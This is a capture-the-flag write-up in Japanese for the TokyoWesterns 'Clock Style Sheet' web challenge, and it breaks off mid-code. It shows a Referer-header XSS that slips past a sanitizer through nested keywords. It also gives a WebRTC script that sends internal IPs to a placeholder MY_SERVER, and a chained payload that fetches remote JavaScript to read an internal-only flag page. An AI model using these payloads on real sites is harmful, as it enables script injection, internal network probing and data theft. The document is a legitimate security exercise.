Tags: xss 

Rating:

# **▼▼▼▼Clock Style Sheet(Web)、337点(5/901=0.6%)▼▼▼▼**
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

http://css.chal.ctf.westerns.tokyo/

【機能】

・ブラウザでアクセスすると、http://css.chal.ctf.westerns.tokyo/please%20disable%20Javascript に飛ばされて404応答になる。

・URLに「**please disable Javascript**」と記載があるので、IEブラウザで[スクリプト]>[アクティブスクリプト]>[無効]として、javascriptを無効にすると、Style Sheetで動く時計が表示される。

・Refreshボタンがあり、押下すると時計がリフレッシュされる。

【ソースコードが2つ提供されている】

proxy.py

sanitizer.py

【情報収集】

### -----1. まずリクエスト&レスポンスをBurpSuiteで確認-------------------------------------

GET /

```

```

⇒コメント欄に新たなアクセス先が書かれている★

新たなURLにアクセスしてみる。

GET /chrowler/

URL入力欄がある。

同時に、下記のようにpythonのソースコードが表示されている。

```
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options

from urlparse import urlparse
import sys

url = ""

pr = urlparse(url)
assert pr.scheme in ['http', 'https'], "only http or https is supported"

options = Options()
options.add_argument('--headless')
options.add_argument('--disable-gpu')
options.add_argument('--disable-javascript')
options.add_argument("--proxy-server=localhost:8080") # sanitizer proxy
driver = webdriver.Chrome("/usr/local/bin/chromedriver", chrome_options=options)

driver.get(url)
driver.quit()
```

・http', 'https'のみサポート★ ※**実際はhttp:// しか通らない。**

・options.add_argument("--proxy-server=localhost:8080") # sanitizer proxy ※sanitizer用のproxyが通されている(ソースコードが提供されていたもの)★

### -----2. XSSの脆弱性を探す----------------------------------------------------------------------------------------

GET /refresh HTTP/1.1

Referer:**test">**

Host: css.chal.ctf.westerns.tokyo

```
<meta http-equiv="refresh" content="0;URL=test"> ">
```

**RefererヘッダにXSSの脆弱性が存在する。**

ソースコード(proxy.py)を確認する。

```
headers = {k:v for k,v in request.headers if v}
```

**headerがproxyにてURLデコードされている。**★

**全ブラウザにて、RefererヘッダでXSS可能**

ソースコード(sanitizer-3.py)を確認する。

```
def htmlsanitize(s):
while True:
m = re.match(r'.*(script).*', s, re.IGNORECASE)
if not m:
break
s = s.replace(m.group(1), '')
while True:
m = re.match(r'.*(on.+=).*', s, re.IGNORECASE)
if not m:
break
s = s.replace(m.group(1), '')
return s
```

上記のソースコードを確認すると、scriptとon.+=は削除されているのはわかるが、同時に削除していない★

  ※通常は同時に検知しながら削除していく。 PHPの例:preg_replace('/script|on.+=/i','',$_SERVER['HTTP_REFERER'])

よって、下記でfilterをバイパスできる

GET /refresh HTTP/1.1

Referer:**"><scripond=t>alert(1)</scripond=t>**

Host: css.chal.ctf.westerns.tokyo


```
<meta http-equiv="refresh" content="0;URL="><script>alert(1)</script>">
```

**任意のjavascriptを実行可能★**

### -----3. flagの場所を探す-------------------------------------------------------------------------------------

次に、Refererを削除してみる。

GET /refresh HTTP/1.1

Host: css.chal.ctf.westerns.tokyo

```
<meta http-equiv="refresh" content="0;URL=/flag">
```

**flagの場所**を発見★

http://css.chal.ctf.westerns.tokyo/flag にアクセスしてみる。

**only local IP is allowed.** (your IP: ○.○.○.○)

### -----4. javascriptでローカルIPアドレスを取得する----------------------------------------------------

javascriptでローカルIPアドレスを取得する方法(https://github.com/diafygi/webrtc-ips)を参考に修正。

```
<script>function getIPs(callback){var ip_dups={};var RTCPeerConnection=window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection;var useWebKit=!!window.webkitRTCPeerConnection;if(!RTCPeerConnection){var win=iframe.contentWindow;RTCPeerConnection=win.RTCPeerConnection||win.mozRTCPeerConnection||win.webkitRTCPeerConnection;useWebKit=!!win.webkitRTCPeerConnection;}var mediaConstraints={optional:[{RtpDataChannels:true}]};var servers={iceServers:[{urls:"stun:stun.services.mozilla.com"}]};var pc=new RTCPeerConnection(servers,mediaConstraints);function handleCandidate(candidate){var ip_regex=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;var ip_addr=ip_regex.exec(candidate)[1];if(ip_dups[ip_addr]===undefined)callback(ip_addr);ip_dups[ip_addr]=true;}pc.onicecandidate=function(ice){if(ice.candidate)handleCandidate(ice.candidate.candidate);};pc.createDataChannel("");pc.createOffer(function(result){pc.setLocalDescription(result,function(){},function(){});},function(){});setTimeout(function(){var lines=pc.localDescription.sdp.split('\n');lines.forEach(function(line){if(line.indexOf('a=candidate:')===0)handleCandidate(line);});},1000);}getIPs(function(ip){location="http://MY_SERVER/"+ip;});</script>
```

192.168.0.5が得られた。

### -----5.RefererヘッダにXSSを挿入して、WebサーバのIPアドレスを探しながら、flagを取得する---------

http://MY_SERVER/tmp/request.php にアクセスさせる。

```
<meta name="referrer" content="always">
<script>
history.replaceState('','','http://MY_SERVER/t/"><scripond=t src="http://MY_SERVER/tmp/b.js"></scripond=t>');
location="http://192.168.0.●/refresh";
</script>
```

http://MY_SERVER/tmp/b.js

```
var x=new XMLHttpRequest();
x.open("GET","http://192.168.0.●/flag",false);
x.send();
var m = 'flag';
for (var i=0; i